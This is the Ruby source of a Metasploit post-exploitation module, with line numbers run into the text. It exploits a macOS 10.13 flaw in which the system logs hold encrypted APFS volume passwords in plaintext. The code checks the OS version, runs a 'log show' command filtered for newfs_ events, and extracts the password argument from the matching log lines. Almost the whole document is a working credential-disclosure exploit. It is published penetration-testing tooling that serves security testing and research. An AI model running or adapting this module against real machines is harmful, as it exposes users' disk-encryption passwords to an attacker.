Path: blob/master/modules/post/osx/gather/apfs_encrypted_volume_passwd.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4class MetasploitModule < Msf::Post56def initialize(info = {})7super(8update_info(9info,10'Name' => 'Mac OS X APFS Encrypted Volume Password Disclosure',11'Description' => %q{12This module exploits a flaw in OSX 10.13 through 10.13.313that discloses the passwords of encrypted APFS volumes.1415In OSX a normal user can use the 'log' command to view the system16logs. In OSX 10.13 to 10.13.2 when a user creates an encrypted APFS17volume the password is visible in plaintext within these logs.18},19'License' => MSF_LICENSE,20'References' => [21[ 'URL', 'https://thehackernews.com/2018/03/macos-apfs-password.html' ],22[ 'URL', 'https://www.mac4n6.com/blog/2018/3/21/uh-oh-unified-logs-in-high-sierra-1013-show-plaintext-password-for-apfs-encrypted-external-volumes-via-disk-utilityapp' ]23],24'Platform' => 'osx',25'Arch' => ARCH_ALL,26'Author' => [27'Sarah Edwards', # earliest public discovery28'cbrnrd' # Metasploit module29],30'SessionTypes' => [ 'shell', 'meterpreter' ],31'DisclosureDate' => '2018-03-21',32'Notes' => {33'Stability' => [CRASH_SAFE],34'SideEffects' => [],35'Reliability' => []36}37)38)39register_options([40# The command doesn't give volume names, only mount paths (current or previous)41OptString.new('MOUNT_PATH', [false, 'The mount path of the volume to get the password of (Leave blank for all)', ''])42])43end4445def check46osx_version = cmd_exec('sw_vers -productVersion')47return Exploit::CheckCode::Vulnerable if osx_version =~ /^10\.13[.[0-3]]?$/4849Exploit::CheckCode::Safe50end5152def run53if check == Exploit::CheckCode::Safe54print_error('This version of OSX is not vulnerable')55return56end5758cmd = "log show --info --predicate 'eventMessage contains \"newfs_\"'"59cmd << " | grep #{datastore['MOUNT_PATH']}" unless datastore['MOUNT_PATH'].empty?60vprint_status("Running \"#{cmd}\" on target...")61results = cmd_exec(cmd)62vprint_status("Target results:\n#{results}")6364if results.empty?65print_error 'Got no response from target. Stopping...'66return67end6869successful_lines = 070results.lines.each do |l|71next unless l =~ /newfs_apfs(.*)-S(.*)$/7273print_good "APFS command found: #{::Regexp.last_match(0)}"74successful_lines += 175end76print_error 'No password(s) found for any volumes. Exiting...' if successful_lines.zero?77end78end798081